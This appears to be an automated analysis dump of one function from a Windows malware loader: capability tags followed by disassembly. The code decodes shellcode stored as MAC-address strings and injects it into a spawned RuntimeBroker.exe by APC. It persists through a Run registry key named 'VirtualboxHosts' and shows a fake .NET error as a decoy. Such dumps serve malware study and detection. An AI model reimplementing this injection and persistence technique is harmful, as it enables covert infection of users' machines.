Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Copy file
Create directory
Create process on windows
Encode data using xor
Execute shellcode via indirect call
Inject apc
Persist via run registry key
Query environment variable
Set registry value

Disassembly:
push rbp
push rdi
push r12
lea rbp, [rsp - 0xa70]
sub rsp, 0xb70
mov rax, qword [0x140054040]
xor rax, rsp
mov qword [rbp + 0xa50], rax
call fcn.140001130
xor edi, edi
lea r12, [0x140000000]
mov ecx, edi
nop word [rax + rax]
movzx eax, byte [rcx + r12 + 0x52f30]
mov byte [rbp + rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x140001490
movzx eax, byte [rbp]
lea rcx, [rbp]
test al, al
je 0x1400014c0
xor al, 0xaa
mov byte [rcx], al
lea rcx, [rcx + 1]
movzx eax, byte [rcx]
test al, al
jne 0x1400014b1
xorps xmm0, xmm0
mov qword [rsp + 0xb90], rbx
xor eax, eax
mov qword [rsp + 0xb98], rsi
mov r8d, 0x104
mov dword [rbp - 0x2c], eax
lea rdx, [rbp + 0x100]
mov qword [rbp - 0x10], rax
lea rcx, str.WINDIR
mov dword [rsp + 0x70], 0x68
movups xmmword [rsp + 0x74], xmm0
movups xmmword [rbp - 0x7c], xmm0
movups xmmword [rbp - 0x6c], xmm0
movups xmmword [rbp - 0x5c], xmm0
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rbp - 0x20], xmm0
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x1400019fc
lea r9, str.RuntimeBroker.exe
lea r8, [rbp + 0x100]
lea rdx, str._sSystem32_s
lea rcx, [rbp + 0x420]
call fcn.1400010d0
lea rax, [rbp - 0x20]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x420]
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1400019fc
mov eax, dword [rbp - 0x10]
mov rbx, qword [rbp - 0x20]
mov rsi, qword [rbp - 0x18]
mov dword [rsp + 0x50], eax
test eax, eax
je 0x1400019fc
test rbx, rbx
je 0x1400019fc
test rsi, rsi
je 0x1400019fc
mov qword [rsp + 0xba0], r13
lea rcx, str.NTDLL
mov qword [rsp + 0xb68], r14
mov qword [rsp + 0xb60], r15
mov qword [rsp + 0x60], rdi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.RtlEthernetStringToAddressA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, rax
test rax, rax
jne 0x14000160e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____GetProcAddress_failed_with_error:__d_n
call fcn.140001070
jmp 0x1400019de
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor edx, edx
mov r8d, 0x19602
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r15, rax
test rax, rax
jne 0x140001646
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____HeapAlloc_failed_with_error:__d_n
call fcn.140001070
jmp 0x1400019de
mov r14, r15
nop dword [rax]
lea r12, [r12 + rdi*8]
mov r8, r14
mov rcx, qword [r12 + 0x540c0]
lea r12, [r12 + 0x540c0]
lea rdx, [rsp + 0x60]
call r13
test eax, eax
jne 0x1400019b7
add r14, 6
lea r12, [0x140000000]
inc rdi
cmp rdi, 0x43ab
jb 0x140001650
xor eax, eax
mov dword [rsp + 0x20], 4
xor edx, edx
mov qword [rsp + 0x58], rax
mov r9d, 0x3000
mov dword [rsp + 0x68], eax
mov r8d, 0x19602
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
je 0x14000193b
lea rax, [rsp + 0x58]
mov r9d, 0x19602
mov r8, r15
mov qword [rsp + 0x20], rax
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001926
cmp qword [rsp + 0x58], 0x19602
jne 0x140001926
lea rax, [rsp + 0x68]
mov r9d, 0x40
mov r8d, 0x19602
mov qword [rsp + 0x20], rax
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
xor r8d, r8d
test eax, eax
je 0x140001929
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_DebugActiveProcessStop]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r15
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r8d, 0x104
lea rdx, [rbp + 0x840]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov r8d, 0x104
lea rdx, [rbp + 0x420]
lea rcx, str.USERPROFILE
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea r9, [rbp + 0x420]
mov edx, 0x104
lea r8, str._sAppDataLocal
lea rcx, [rbp + 0x630]
call fcn.140001010
xor edx, edx
lea rcx, [rbp + 0x630]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x1400017d1
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x140001814
lea rax, [rbp]
mov edx, 0x104
lea r9, [rbp + 0x630]
mov qword [rsp + 0x20], rax
lea r8, str._s_s.exe
lea rcx, [rbp + 0x210]
call fcn.140001010
xor r8d, r8d
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x840]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x14000181e
mov eax, 1
jmp 0x140001974
movaps xmm0, xmmword [str.SoftwareMicrosoftWindowsCurrentVersionRun]
lea rdx, [rsp + 0x70]
movaps xmm1, xmmword [0x140052df0]
mov r9d, 2
mov eax, dword [0x140052e38]
xor r8d, r8d
movaps xmmword [rsp + 0x70], xmm0
mov rcx, 0xffffffff80000001
movaps xmm0, xmmword [0x140052e00]
movaps xmmword [rbp - 0x70], xmm0
movaps xmm0, xmmword [0x140052e20]
movaps xmmword [rbp - 0x50], xmm0
movsd xmm0, qword [0x140052e30]
movaps xmmword [rbp - 0x80], xmm1
movaps xmm1, xmmword [0x140052e10]
movsd qword [rbp - 0x40], xmm0
movups xmm0, xmmword [str.VirtualboxHosts]
mov dword [rbp - 0x38], eax
lea rax, [rsp + 0x58]
movaps xmmword [rbp - 0x60], xmm1
movups xmm1, xmmword [0x140052e50]
mov qword [rsp + 0x20], rax
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm1
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140001906
lea rcx, [rbp + 0x210]
mov rax, 0xffffffffffffffff
nop dword [rax]
cmp word [rcx + rax*2 + 2], 0
lea rax, [rax + 1]
jne 0x1400018c0
mov rcx, qword [rsp + 0x58]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
lea rdx, [rbp - 0x20]
lea rax, [rbp + 0x210]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov r9d, 0x10
lea r8, str..NET_Framework_Initialization_Error
lea rdx, str.To_run_this_application__you_first_must_install_one_of_the_following_versions_of_the_.NET_framework_v4.0.30319._If_you_already_have_the_package_please_reinstal_of_contact_publisher.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
xor eax, eax
jmp 0x140001974
xor r8d, r8d
mov r9d, 0x8000
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r15
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.____Failed_._n
call fcn.140001070
mov rax, 0xffffffffffffffff
mov r14, qword [rsp + 0xb68]
mov r15, qword [rsp + 0xb60]
mov r13, qword [rsp + 0xba0]
mov rsi, qword [rsp + 0xb98]
mov rbx, qword [rsp + 0xb90]
mov rcx, qword [rbp + 0xa50]
xor rcx, rsp
call fcn.140001c90
add rsp, 0xb70
pop r12
pop rdi
pop rbp
ret
mov rdx, qword [r12]
lea rcx, str.____RtlEthernetStringToAddressA_failed_at___s__with_error_0x_08X_n
mov r8d, eax
call fcn.140001070
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r15
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.____Failed._n
jmp 0x140001968
lea rcx, str.____Failed._n
call fcn.140001070
mov rax, 0xffffffffffffffff
jmp 0x14000198c